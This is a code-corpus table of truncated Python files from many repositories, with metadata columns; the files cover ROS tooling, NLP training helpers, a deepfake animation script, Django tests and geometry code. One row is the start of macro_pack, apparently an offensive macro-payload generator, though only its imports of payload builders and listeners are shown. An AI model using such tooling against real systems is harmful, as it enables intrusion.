hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringdate
2015-01-01 00:00:47
2022-03-31 23:42:18
max_issues_repo_issues_event_max_datetime
stringdate
2015-01-01 17:43:30
2022-03-31 23:59:58
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
0ae22c03054218a911ddc84125341497677c75ac
2,045
py
Python
ros_buildfarm/debian_repo.py
j-rivero/ros_buildfarm
840d2dc1dd5db00d5407da4644cd2bcbc5e0ac88
[ "Apache-2.0" ]
null
null
null
ros_buildfarm/debian_repo.py
j-rivero/ros_buildfarm
840d2dc1dd5db00d5407da4644cd2bcbc5e0ac88
[ "Apache-2.0" ]
1
2019-12-12T21:08:01.000Z
2019-12-12T21:08:01.000Z
ros_buildfarm/debian_repo.py
j-rivero/ros_buildfarm
840d2dc1dd5db00d5407da4644cd2bcbc5e0ac88
[ "Apache-2.0" ]
null
null
null
# Copyright 2014 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
36.517857
91
0.695355
0ae277577c0d9cf0180a37747d11d8dcd292baa5
57
py
Python
player.py
Drayux/Battlematus
1709a15b58d9274b99ec36eff1a181014d155037
[ "MIT" ]
null
null
null
player.py
Drayux/Battlematus
1709a15b58d9274b99ec36eff1a181014d155037
[ "MIT" ]
null
null
null
player.py
Drayux/Battlematus
1709a15b58d9274b99ec36eff1a181014d155037
[ "MIT" ]
null
null
null
# PLAYER class player: def __init__(self):
9.5
23
0.561404
0ae2b8b9a2e89b056cf58f74862944546c4ef4a9
48,440
py
Python
Framwork-Backpropagation/utils/utils_v2.py
ConvolutedDog/Implicit-Im2col-for-Backpropagation
529a62f52903326b9289091b7d0abb45e6c7bb31
[ "Apache-2.0" ]
null
null
null
Framwork-Backpropagation/utils/utils_v2.py
ConvolutedDog/Implicit-Im2col-for-Backpropagation
529a62f52903326b9289091b7d0abb45e6c7bb31
[ "Apache-2.0" ]
null
null
null
Framwork-Backpropagation/utils/utils_v2.py
ConvolutedDog/Implicit-Im2col-for-Backpropagation
529a62f52903326b9289091b7d0abb45e6c7bb31
[ "Apache-2.0" ]
null
null
null
# Copyright 2022 ConvolutedDog (https://github.com/ConvolutedDog/) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
34.624732
172
0.63429
0ae2d03accd91cc3db5f01917f5d31fdecbb74e5
4,372
py
Python
ark_nlp/factory/utils/attack.py
yubuyuabc/ark-nlp
165d35cfacd7476791c0aeba19bf43f4f8079553
[ "Apache-2.0" ]
1
2022-03-23T05:10:55.000Z
2022-03-23T05:10:55.000Z
ark_nlp/factory/utils/attack.py
yubuyuabc/ark-nlp
165d35cfacd7476791c0aeba19bf43f4f8079553
[ "Apache-2.0" ]
null
null
null
ark_nlp/factory/utils/attack.py
yubuyuabc/ark-nlp
165d35cfacd7476791c0aeba19bf43f4f8079553
[ "Apache-2.0" ]
null
null
null
import torch class FGM(object): """ 基于FGM算法的攻击机制 Args: module (:obj:`torch.nn.Module`): 模型 Examples:: >>> # 初始化 >>> fgm = FGM(module) >>> for batch_input, batch_label in data: >>> # 正常训练 >>> loss = module(batch_input, batch_label) >>> ...
31.681159
101
0.52699
0ae341f931ab8799a80b73c9036820e58b4d7de6
5,790
py
Python
core.py
sreejithr/deepfake
c7115ce90ea281e2eb95d75f436efa102c8f2e3c
[ "MIT" ]
null
null
null
core.py
sreejithr/deepfake
c7115ce90ea281e2eb95d75f436efa102c8f2e3c
[ "MIT" ]
3
2021-09-08T02:24:48.000Z
2022-03-12T00:44:53.000Z
core.py
sreejithr/deepfake
c7115ce90ea281e2eb95d75f436efa102c8f2e3c
[ "MIT" ]
null
null
null
import cv2 import torch import yaml import imageio import throttle import numpy as np import matplotlib.pyplot as plt from argparse import ArgumentParser from skimage.transform import resize from scipy.spatial import ConvexHull from modules.generator import OcclusionAwareGenerator from modules.keypoint_detector import...
34.260355
142
0.68342
0ae3d125da916faaaf9490284cbbfda3ebc0f150
1,735
py
Python
soupy/approximations/taylor/backup/__init__.py
cpempire/soupy
9f65e3329fa126619c893daa4cd80478d83f840c
[ "MIT" ]
1
2021-12-07T15:22:23.000Z
2021-12-07T15:22:23.000Z
soupy/approximations/taylor/backup/__init__.py
cpempire/soupy
9f65e3329fa126619c893daa4cd80478d83f840c
[ "MIT" ]
null
null
null
soupy/approximations/taylor/backup/__init__.py
cpempire/soupy
9f65e3329fa126619c893daa4cd80478d83f840c
[ "MIT" ]
null
null
null
from __future__ import absolute_import, division, print_function from .controlPDEProblem import ControlPDEProblem from .controlPDEProblemMultiPDE import ControlPDEProblemMultiPDE from .costFunctionalConstant import CostFunctionalConstant from .costFunctionalConstantMultiPDE import CostFunctionalConstantMultiPDE from ....
42.317073
93
0.821326
0ae6683abfd956b5c3952439b03a59e007c9300a
2,402
py
Python
models/1-Tom/train/kaggle-hubmap-main/src/02_train/transforms.py
navekshasood/HuBMAP---Hacking-the-Kidney
018100fe4bfa5e8764b9df5a9d188e2c670ac061
[ "MIT" ]
null
null
null
models/1-Tom/train/kaggle-hubmap-main/src/02_train/transforms.py
navekshasood/HuBMAP---Hacking-the-Kidney
018100fe4bfa5e8764b9df5a9d188e2c670ac061
[ "MIT" ]
null
null
null
models/1-Tom/train/kaggle-hubmap-main/src/02_train/transforms.py
navekshasood/HuBMAP---Hacking-the-Kidney
018100fe4bfa5e8764b9df5a9d188e2c670ac061
[ "MIT" ]
null
null
null
import numpy as np from albumentations import (Compose, HorizontalFlip, VerticalFlip, Rotate, RandomRotate90, ShiftScaleRotate, ElasticTransform, GridDistortion, RandomSizedCrop, RandomCrop, CenterCrop, RandomBrightnessContrast, HueSatu...
40.711864
113
0.572856
0ae709052ebf9505470ee0404f1013ba86cb8e0e
13,017
py
Python
cubspack/geometry.py
Majikat/cubspack
16aa6df0603d48d757d74837d3457a1934601d89
[ "Apache-2.0" ]
11
2018-06-18T12:05:34.000Z
2021-02-24T19:00:24.000Z
cubspack/geometry.py
Majikat/cubspack
16aa6df0603d48d757d74837d3457a1934601d89
[ "Apache-2.0" ]
null
null
null
cubspack/geometry.py
Majikat/cubspack
16aa6df0603d48d757d74837d3457a1934601d89
[ "Apache-2.0" ]
2
2018-04-08T17:30:00.000Z
2018-09-27T08:38:42.000Z
# -*- coding: utf-8 -*- from math import sqrt class Point(object): __slots__ = ('x', 'y', 'z') def __init__(self, x, y, z): self.x = x self.y = y self.z = z def __eq__(self, other): return (self.x == other.x and self.y == other.y and self.z == other.z) def __repr__...
29.517007
85
0.556657
0ae84e0cfa142229ba7d5efbff2238d28b93f418
16,661
py
Python
app/recipe/tests/test_recipe_api.py
tahmadvand/recipe_app_api
40b4cc6960d7dc4858373b5f6ccca980ed0eeac8
[ "MIT" ]
null
null
null
app/recipe/tests/test_recipe_api.py
tahmadvand/recipe_app_api
40b4cc6960d7dc4858373b5f6ccca980ed0eeac8
[ "MIT" ]
null
null
null
app/recipe/tests/test_recipe_api.py
tahmadvand/recipe_app_api
40b4cc6960d7dc4858373b5f6ccca980ed0eeac8
[ "MIT" ]
null
null
null
from django.contrib.auth import get_user_model from django.test import TestCase from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient # use that for making our API requests from core.models import Recipe, Tag, Ingredient from ..serializers import RecipeSerializer...
40.43932
78
0.667547
0ae880533e14de2255d5554b8a0bb6b7cbc5e1bb
1,089
py
Python
Assignment 1 n 2 Day 8.py
paju3125/LetsUpgrade-Python-B7
c5767361f60f1ec405ab235af85035e2bb9a71e3
[ "Apache-2.0" ]
null
null
null
Assignment 1 n 2 Day 8.py
paju3125/LetsUpgrade-Python-B7
c5767361f60f1ec405ab235af85035e2bb9a71e3
[ "Apache-2.0" ]
null
null
null
Assignment 1 n 2 Day 8.py
paju3125/LetsUpgrade-Python-B7
c5767361f60f1ec405ab235af85035e2bb9a71e3
[ "Apache-2.0" ]
null
null
null
# Assignment 1 Day 8 # write a decorator function for taking input for you # any kind of function you want to build def getInput(calculate_arg_fuc): def wrap_function(): print("Enter two numbers ") a=int(input("Enter first number = ")) b=int(input("Enter second number = ")) ...
22.22449
85
0.651974
0ae8c65cafc822a3267fba35c6ed220e7f320711
11,646
py
Python
gwcs/coordinate_frames.py
migueldvb/gwcs
4eb2abdb1d9d49ee10c1edbcae0d1cec4c758c39
[ "BSD-3-Clause" ]
null
null
null
gwcs/coordinate_frames.py
migueldvb/gwcs
4eb2abdb1d9d49ee10c1edbcae0d1cec4c758c39
[ "BSD-3-Clause" ]
null
null
null
gwcs/coordinate_frames.py
migueldvb/gwcs
4eb2abdb1d9d49ee10c1edbcae0d1cec4c758c39
[ "BSD-3-Clause" ]
null
null
null
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ Defines coordinate frames and ties them to data axes. """ from __future__ import absolute_import, division, unicode_literals, print_function import numpy as np from astropy import units as u from astropy import utils as astutil from astropy import coo...
32.713483
99
0.574618
0aea8c17200ee38f7b989cd3fe4ee1c7be72a125
4,286
py
Python
modox/chan_modifier.py
lukpazera/modox
4ee5a6033e405f9f7f3a7c80a1cb3c558c90fb01
[ "MIT" ]
11
2021-02-19T17:11:04.000Z
2021-12-03T17:14:58.000Z
modox/chan_modifier.py
lukpazera/modox
4ee5a6033e405f9f7f3a7c80a1cb3c558c90fb01
[ "MIT" ]
null
null
null
modox/chan_modifier.py
lukpazera/modox
4ee5a6033e405f9f7f3a7c80a1cb3c558c90fb01
[ "MIT" ]
null
null
null
import lx import modo import select import item from run import run class ChannelModifierUtils(object): @classmethod def attachModifierToItem(cls, modifierModoItem, hostModoItem): """ Allows for attaching modifier to locator type item. Attached item will show up under the locator ...
28.573333
110
0.614326
0aeade2b44478bdc750fc6e4297d377345ef5136
500
py
Python
brownie_fund_me/scripts/fund_and_withdraw.py
WangCHEN9/solidity_demos
cf28111a1e972ab9dde70f6d3fac22c897d8b660
[ "MIT" ]
null
null
null
brownie_fund_me/scripts/fund_and_withdraw.py
WangCHEN9/solidity_demos
cf28111a1e972ab9dde70f6d3fac22c897d8b660
[ "MIT" ]
null
null
null
brownie_fund_me/scripts/fund_and_withdraw.py
WangCHEN9/solidity_demos
cf28111a1e972ab9dde70f6d3fac22c897d8b660
[ "MIT" ]
null
null
null
from brownie import FundMe from scripts.helpful_scripts import get_account def fund(): fund_me = FundMe[-1] account = get_account() entrance_fee = fund_me.getEntranceFee() print(f"entrance is {entrance_fee}") print("funding..") fund_me.fund({"from": account, "value": entrance_fee}) def withd...
18.518519
58
0.654
0aeb5c0e9a64382d41d3447557ec9fb64a32a973
409
py
Python
ex019.py
jefernathan/Python
2f840a625e8d46d41ab36df07ef50ae15a03c5ab
[ "MIT" ]
null
null
null
ex019.py
jefernathan/Python
2f840a625e8d46d41ab36df07ef50ae15a03c5ab
[ "MIT" ]
null
null
null
ex019.py
jefernathan/Python
2f840a625e8d46d41ab36df07ef50ae15a03c5ab
[ "MIT" ]
null
null
null
# Um professor quer sortear um dos seus quatro alunos para apagar o quadro. Faça um programa que ajude ele, lendo o nome dos alunos e escrevendo na tela o nome do escolhido. from random import choice nome1 = input('Digite um nome: ') nome2 = input('Digite outro nome: ') nome3 = input('Digite mais um nome: ') nome4 = ...
34.083333
173
0.728606
0aeb7979679122962a3fff866f48391b6b9c9278
489
py
Python
contacts/admin.py
liviamendes/agenda-django-project
d602bb5e762ea477c3c97b5a475ad79036c0c93d
[ "MIT" ]
null
null
null
contacts/admin.py
liviamendes/agenda-django-project
d602bb5e762ea477c3c97b5a475ad79036c0c93d
[ "MIT" ]
null
null
null
contacts/admin.py
liviamendes/agenda-django-project
d602bb5e762ea477c3c97b5a475ad79036c0c93d
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Categoria, Contact class ContactAdmin(admin.ModelAdmin): list_display = ('id', 'name', 'last_name', 'phone', 'email', 'creation_date', 'categoria', 'show') list_display_links = ('id', 'name', 'last_name') list_filter = ('categoria',) list_per_page =...
30.5625
102
0.691207
0aec7fad0f474867079a857e5fa0aa0966e20a00
2,472
py
Python
upload_from_folder.py
robinrobinzon/fastpic
966f1aa8c6d7e98651727e7ed7f6b25970d5da11
[ "MIT" ]
null
null
null
upload_from_folder.py
robinrobinzon/fastpic
966f1aa8c6d7e98651727e7ed7f6b25970d5da11
[ "MIT" ]
null
null
null
upload_from_folder.py
robinrobinzon/fastpic
966f1aa8c6d7e98651727e7ed7f6b25970d5da11
[ "MIT" ]
null
null
null
import datetime import os import shutil import tempfile from joblib import Parallel, delayed from fastpic_upload import upload_file_to_fastpic _n_jobs_for_upload = 20 _root_folders_set = ( '/path/to/folder', ) _spoiler_for_each_file = True def process_one_pic(result_key, pic_path, tmp_dir): pic_url, pic_l...
29.783133
106
0.651294
0aecc3617c0fed4d5c58d568836e4b90d9b9886f
1,994
py
Python
tools/accuracy_checker/openvino/tools/accuracy_checker/postprocessor/clip_segmentation_mask.py
TolyaTalamanov/open_model_zoo
1697e60712df4ca72635a2080a197b9d3bc24129
[ "Apache-2.0" ]
2,201
2018-10-15T14:37:19.000Z
2020-07-16T02:05:51.000Z
tools/accuracy_checker/openvino/tools/accuracy_checker/postprocessor/clip_segmentation_mask.py
Pandinosaurus/open_model_zoo
2543996541346418919c5cddfb71e33e2cdef080
[ "Apache-2.0" ]
759
2018-10-18T07:43:55.000Z
2020-07-16T01:23:12.000Z
tools/accuracy_checker/openvino/tools/accuracy_checker/postprocessor/clip_segmentation_mask.py
Pandinosaurus/open_model_zoo
2543996541346418919c5cddfb71e33e2cdef080
[ "Apache-2.0" ]
808
2018-10-16T14:03:49.000Z
2020-07-15T11:41:45.000Z
""" Copyright (c) 2018-2022 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wri...
38.346154
117
0.739218
0aee1a078e80effb05eed8b8321db099a4b35623
1,925
py
Python
tests/test_utils.py
isabella232/pynacl
b3f6c320569d858ba61d4bdf2ac788564528c1c9
[ "Apache-2.0" ]
756
2015-01-03T17:49:44.000Z
2022-03-31T13:54:33.000Z
tests/test_utils.py
isabella232/pynacl
b3f6c320569d858ba61d4bdf2ac788564528c1c9
[ "Apache-2.0" ]
540
2015-01-02T10:54:33.000Z
2022-03-05T18:47:01.000Z
tests/test_utils.py
isabella232/pynacl
b3f6c320569d858ba61d4bdf2ac788564528c1c9
[ "Apache-2.0" ]
217
2015-01-09T00:48:01.000Z
2022-03-26T08:53:32.000Z
# Copyright 2013 Donald Stufft and individual contributors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
32.083333
75
0.725195
0aeeb3bf4f5c7990a2f6ef4aa31bdb4e54d18d30
266
py
Python
Solutions/6kyu/6kyu_mister_safetys_treasure.py
citrok25/Codewars-1
dc641c5079e2e8b5955eb027fd15427e5bdb2e26
[ "MIT" ]
46
2017-08-24T09:27:57.000Z
2022-02-25T02:24:33.000Z
Solutions/6kyu/6kyu_mister_safetys_treasure.py
abbhishek971/Codewars
9e761811db724da1e8aae44594df42b4ee879a16
[ "MIT" ]
null
null
null
Solutions/6kyu/6kyu_mister_safetys_treasure.py
abbhishek971/Codewars
9e761811db724da1e8aae44594df42b4ee879a16
[ "MIT" ]
35
2017-08-01T22:09:48.000Z
2022-02-18T17:21:37.000Z
def unlock(m): return m.lower().translate( str.maketrans( 'abcdefghijklmnopqrstuvwxyz', '22233344455566677778889999' ) )
33.25
55
0.357143
0aefad001e36b9eae9b3eb392972175239563b8d
2,893
py
Python
guesstheword.py
Cha0sNation/RandomPython
7ba41d78f27bd90e9c09efcd4d5c26eac93e74ec
[ "MIT" ]
null
null
null
guesstheword.py
Cha0sNation/RandomPython
7ba41d78f27bd90e9c09efcd4d5c26eac93e74ec
[ "MIT" ]
null
null
null
guesstheword.py
Cha0sNation/RandomPython
7ba41d78f27bd90e9c09efcd4d5c26eac93e74ec
[ "MIT" ]
null
null
null
#! /home/cha0snation/anaconda3/bin/python import random def setup(): words = ["banana", "apple", "orange", "peach", "grape", "watermelon"] output = [] word = words[random.randint(0, len(words) - 1)] playing = True tries = 5 return [words, output, word, tries, playing] def check_finished(out...
24.726496
73
0.483927
0af0f43e75ad092a7a05698be61aa6dca9c4178e
2,131
py
Python
web_app/index.py
svakulenk0/ArtDATIS
29e646f7bcb931e733ee248cc973411ffb18be64
[ "MIT" ]
null
null
null
web_app/index.py
svakulenk0/ArtDATIS
29e646f7bcb931e733ee248cc973411ffb18be64
[ "MIT" ]
9
2020-03-24T17:57:03.000Z
2022-03-12T00:08:07.000Z
web_app/index.py
svakulenk0/ArtDATIS
29e646f7bcb931e733ee248cc973411ffb18be64
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Created on Dec 8, 2019 .. codeauthor: svitlana vakulenko <svitlana.vakulenko@gmail.com> Index docs into ES https://qbox.io/blog/building-an-elasticsearch-index-with-python ''' from settings import * import glob import re # n first characters for the doc preview L...
30.014085
99
0.603003
0af106828dec53475f13db7b60f12e654896ac46
277
py
Python
src/tokens.py
PythonIsMagic/ponyup
3b2630d573cd46d0569f713c6d4c3790688dc62d
[ "MIT" ]
1
2022-03-22T12:41:35.000Z
2022-03-22T12:41:35.000Z
src/tokens.py
PythonIsMagic/ponyup
3b2630d573cd46d0569f713c6d4c3790688dc62d
[ "MIT" ]
null
null
null
src/tokens.py
PythonIsMagic/ponyup
3b2630d573cd46d0569f713c6d4c3790688dc62d
[ "MIT" ]
1
2022-03-22T12:41:37.000Z
2022-03-22T12:41:37.000Z
""" A Token is a button or other object on the table that represents a position, a game state, layer state, or some other piece of info """ class Token(object): def __init__(self, name, table): self.table = table self.name = name self.seat = None
25.181818
131
0.65343
0af1145915916f93873c49da300235d391c3c012
95
py
Python
T05-09/program.py
maa76/SSof-Project1920
9b4ad9ac41a648c425fcfcd49cd52ff84e528bde
[ "MIT" ]
2
2019-11-20T19:26:07.000Z
2019-11-22T00:42:23.000Z
T05-09/program.py
maa76/SSof-Project1920
9b4ad9ac41a648c425fcfcd49cd52ff84e528bde
[ "MIT" ]
2
2019-11-28T05:21:24.000Z
2019-11-28T05:21:58.000Z
T05-09/program.py
maa76/SSof-Project1920
9b4ad9ac41a648c425fcfcd49cd52ff84e528bde
[ "MIT" ]
25
2019-11-27T01:40:56.000Z
2019-12-04T23:38:59.000Z
nis=get('nis') q1="xpto1" q2=nis + "xpto2" query=query1.q2 koneksi=0 q=execute(query,koneksi)
11.875
24
0.705263
0af1366c588c694d1d5fccc2c589b64a4b89883f
1,089
py
Python
Chapter09/interpolation_search.py
Xiangs18/Algorithms-with-Python-Second-Edition
96844e1ae7054e099772dc691c1f41f15c2bfba5
[ "MIT" ]
null
null
null
Chapter09/interpolation_search.py
Xiangs18/Algorithms-with-Python-Second-Edition
96844e1ae7054e099772dc691c1f41f15c2bfba5
[ "MIT" ]
null
null
null
Chapter09/interpolation_search.py
Xiangs18/Algorithms-with-Python-Second-Edition
96844e1ae7054e099772dc691c1f41f15c2bfba5
[ "MIT" ]
null
null
null
def nearest_mid(input_list, lower_bound_index, upper_bound_index, search_value): return lower_bound_index + ( (upper_bound_index - lower_bound_index) // (input_list[upper_bound_index] - input_list[lower_bound_index]) ) * (search_value - input_list[lower_bound_index]) def interpolation_search(o...
37.551724
83
0.693297
0af19b677c50c3526ce7825f2f9c6b76ac47738c
715
py
Python
projects/models.py
javixeneize/asvs-1
31e9fdfd2d538c8ed1adf23fcb4f143ef28541c6
[ "MIT" ]
1
2020-10-01T05:55:39.000Z
2020-10-01T05:55:39.000Z
projects/models.py
Tasha-Carty-220/asvs
634cc0e96daedc91d1acc06827ce82e9c13f520d
[ "MIT" ]
null
null
null
projects/models.py
Tasha-Carty-220/asvs
634cc0e96daedc91d1acc06827ce82e9c13f520d
[ "MIT" ]
null
null
null
from django.db import models from django.db.models import Q from django.contrib.auth.models import User from django.urls import reverse class ProjectQuerySet(models.QuerySet): def projects_per_user(self, user): return self.filter( Q(project_owner=user.username) ) class Projects(model...
28.6
65
0.738462
0af1a3c68967c05606abe6a22eb2bbc2a17f6f6f
1,164
py
Python
tests/serverless/checks/aws/test_AdminPolicyDocument.py
peaudecastor/checkov
a4804b61c1b1390b7abd44ab53285fcbc3e7e80b
[ "Apache-2.0" ]
null
null
null
tests/serverless/checks/aws/test_AdminPolicyDocument.py
peaudecastor/checkov
a4804b61c1b1390b7abd44ab53285fcbc3e7e80b
[ "Apache-2.0" ]
null
null
null
tests/serverless/checks/aws/test_AdminPolicyDocument.py
peaudecastor/checkov
a4804b61c1b1390b7abd44ab53285fcbc3e7e80b
[ "Apache-2.0" ]
null
null
null
import os import unittest from checkov.serverless.checks.function.aws.AdminPolicyDocument import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestAdminPolicyDocument(unittest.TestCase): def test_summary(self): runner = Runner() current_di...
36.375
102
0.668385
0af230c3ec87bec2b40fe4cc74ba6765304b22f0
13,752
py
Python
src/macro_pack.py
lulinsheng/macro_pack
4e9d0178354bad2aa557298f44ba5d4385a72a2b
[ "Apache-2.0" ]
null
null
null
src/macro_pack.py
lulinsheng/macro_pack
4e9d0178354bad2aa557298f44ba5d4385a72a2b
[ "Apache-2.0" ]
null
null
null
src/macro_pack.py
lulinsheng/macro_pack
4e9d0178354bad2aa557298f44ba5d4385a72a2b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # encoding: utf-8 import os import sys import getopt import logging import shutil import psutil from modules.com_run import ComGenerator from modules.web_server import ListenServer from modules.Wlisten_server import WListenServer from modules.payload_builder_factory import PayloadBuilderFactory from...
40.210526
171
0.592568
0af2fa6e42815eb039756485d8f3d3cde750d905
137
py
Python
faced/const.py
binhmuc/faced
cbc18f552da9c53628d61d56de7dfda451a6e25f
[ "MIT" ]
null
null
null
faced/const.py
binhmuc/faced
cbc18f552da9c53628d61d56de7dfda451a6e25f
[ "MIT" ]
null
null
null
faced/const.py
binhmuc/faced
cbc18f552da9c53628d61d56de7dfda451a6e25f
[ "MIT" ]
null
null
null
import os MODELS_PATH = os.path.join(os.path.dirname(__file__), "models") YOLO_SIZE = 288 YOLO_TARGET = 9 CORRECTOR_SIZE = 50
15.222222
64
0.70073
0af340336c716992b681bade66c39e840439919b
6,148
py
Python
etl/load/elasticsearch.py
bilalelhoudaigui/plant-brapi-etl-data-lookup-gnpis
973dc444eac6d1cc80c020dd8b9a4656f70eeafb
[ "BSD-3-Clause" ]
3
2018-06-04T09:14:55.000Z
2018-10-25T14:32:03.000Z
etl/load/elasticsearch.py
bilalelhoudaigui/plant-brapi-etl-data-lookup-gnpis
973dc444eac6d1cc80c020dd8b9a4656f70eeafb
[ "BSD-3-Clause" ]
18
2020-06-04T07:08:17.000Z
2022-02-02T17:02:17.000Z
etl/load/elasticsearch.py
bilalelhoudaigui/plant-brapi-etl-data-lookup-gnpis
973dc444eac6d1cc80c020dd8b9a4656f70eeafb
[ "BSD-3-Clause" ]
4
2019-04-18T12:53:19.000Z
2019-11-22T08:53:19.000Z
# Load json bulk files into elasticsearch import json import os import time import traceback import elasticsearch from etl.common.store import list_entity_files from etl.common.utils import get_folder_path, get_file_path, create_logger, first, replace_template class ElasticSearchException(Exception): pass # I...
40.183007
121
0.689655
0af3b89835e63f3225a17831847f039cebf091f8
6,798
py
Python
geoplot/crs.py
redfrexx/geoplot
8231baab0e286f1dec870dd5e8c6c8218e5b5da7
[ "MIT" ]
null
null
null
geoplot/crs.py
redfrexx/geoplot
8231baab0e286f1dec870dd5e8c6c8218e5b5da7
[ "MIT" ]
null
null
null
geoplot/crs.py
redfrexx/geoplot
8231baab0e286f1dec870dd5e8c6c8218e5b5da7
[ "MIT" ]
null
null
null
""" This module defines the ``geoplot`` coordinate reference system classes, wrappers on ``cartopy.crs`` objects meant to be used as parameters to the ``projection`` parameter of all front-end ``geoplot`` outputs. For the list of Cartopy CRS objects this module derives from, refer to http://scitools.org.uk/cartopy/docs...
39.523256
98
0.624595
0af3c3569db12057875193547cf2329c8c03ae92
581
py
Python
api/views/stores/att_handler.py
cderwin/maps
0146260935a749679396022b6d2b1d90b6df2539
[ "MIT" ]
null
null
null
api/views/stores/att_handler.py
cderwin/maps
0146260935a749679396022b6d2b1d90b6df2539
[ "MIT" ]
7
2016-02-09T07:18:48.000Z
2016-02-09T07:25:40.000Z
api/views/stores/att_handler.py
cderwin/maps
0146260935a749679396022b6d2b1d90b6df2539
[ "MIT" ]
null
null
null
from .default_handler import StoresHandler class ATTStoresHandler(StoresHandler): def handle_request(self, **kwargs): kwargs.update({'provider': 'att'}) return super(ATTStoresHandler, self).handle_request(**kwargs) def get_url(self, **kwargs): lat = float(kwargs.get('lat')) lo...
36.3125
120
0.636833
0af3eac5180ad01027c97600a407eb3106203f56
349
py
Python
pythonProject/MUNDO 2/Desafio 54.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
null
null
null
pythonProject/MUNDO 2/Desafio 54.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
1
2021-06-25T15:29:11.000Z
2021-06-25T15:29:11.000Z
pythonProject/MUNDO 2/Desafio 54.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
null
null
null
#Leia o ano de nascimento de 7 pessoas e mostre quantas ja atingiram a maioridade e quantas ainda não for c in range(1,8): p=int(input('Qual o ano de seu nascimento? ')) a=2021-p if a>= 18: print('A pessoa numero {} já é maior de idade'.format(c)) else: print('A pessoa numero {} não é...
29.083333
101
0.638968
0af473baeece942d5629ff430bbc40a3d23df7c3
559
py
Python
tmoga/utils/SDE.py
zjg540066169/tmoga
a3c3ecd0d72fc7c57fd5e5a624780e7ebf199c61
[ "Apache-2.0" ]
2
2021-10-06T04:45:52.000Z
2022-03-20T01:18:05.000Z
tmoga/utils/SDE.py
zjg540066169/tmoga
a3c3ecd0d72fc7c57fd5e5a624780e7ebf199c61
[ "Apache-2.0" ]
1
2022-03-20T01:45:09.000Z
2022-03-21T15:17:21.000Z
tmoga/utils/SDE.py
zjg540066169/tmoga
a3c3ecd0d72fc7c57fd5e5a624780e7ebf199c61
[ "Apache-2.0" ]
3
2021-10-09T08:08:44.000Z
2022-03-20T01:18:07.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Provide function to calculate SDE distance @auth: Jungang Zou @date: 2021/05/05 """ def SDE(front, values1, values2): shifted_dict = {} for i in front: shifted_dict[i] = [(values1[i], values2[i])] shifted_list = [] for j in front: ...
25.409091
95
0.554562
0af494f1b9f9c81499c5786b2c2ea3e48e90635b
1,361
py
Python
a1.py
pscly/shua_shouji
1c03056c8f5db4a3a1222b2d31fdf44c3ab07cf6
[ "MulanPSL-1.0" ]
null
null
null
a1.py
pscly/shua_shouji
1c03056c8f5db4a3a1222b2d31fdf44c3ab07cf6
[ "MulanPSL-1.0" ]
null
null
null
a1.py
pscly/shua_shouji
1c03056c8f5db4a3a1222b2d31fdf44c3ab07cf6
[ "MulanPSL-1.0" ]
null
null
null
# -*- encoding=utf8 -*- __author__ = "pscly" from airtest.core.api import * from airtest.cli.parser import cli_setup # from douyin import * if not cli_setup(): auto_setup(__file__, logdir=True, devices=[ "android://127.0.0.1:5037/decc8da3?cap_method=MINICAP_STREAM&&ori_method=MINICAPORI&&touch_method=...
23.877193
121
0.409993
0af54c84e47849c156e92dd294fed072b3ed4861
1,183
py
Python
tests/v3_validation/cattlevalidationtest/core/test_logs_api.py
bmdepesa/validation-tests
23e7ab95ce76744483a0657f790b42a88a93436d
[ "Apache-2.0" ]
7
2015-11-18T17:43:08.000Z
2021-07-14T09:48:18.000Z
tests/v3_validation/cattlevalidationtest/core/test_logs_api.py
bmdepesa/validation-tests
23e7ab95ce76744483a0657f790b42a88a93436d
[ "Apache-2.0" ]
175
2015-07-09T18:41:24.000Z
2021-06-10T21:23:27.000Z
tests/v3_validation/cattlevalidationtest/core/test_logs_api.py
bmdepesa/validation-tests
23e7ab95ce76744483a0657f790b42a88a93436d
[ "Apache-2.0" ]
25
2015-08-08T04:54:24.000Z
2021-05-25T21:10:37.000Z
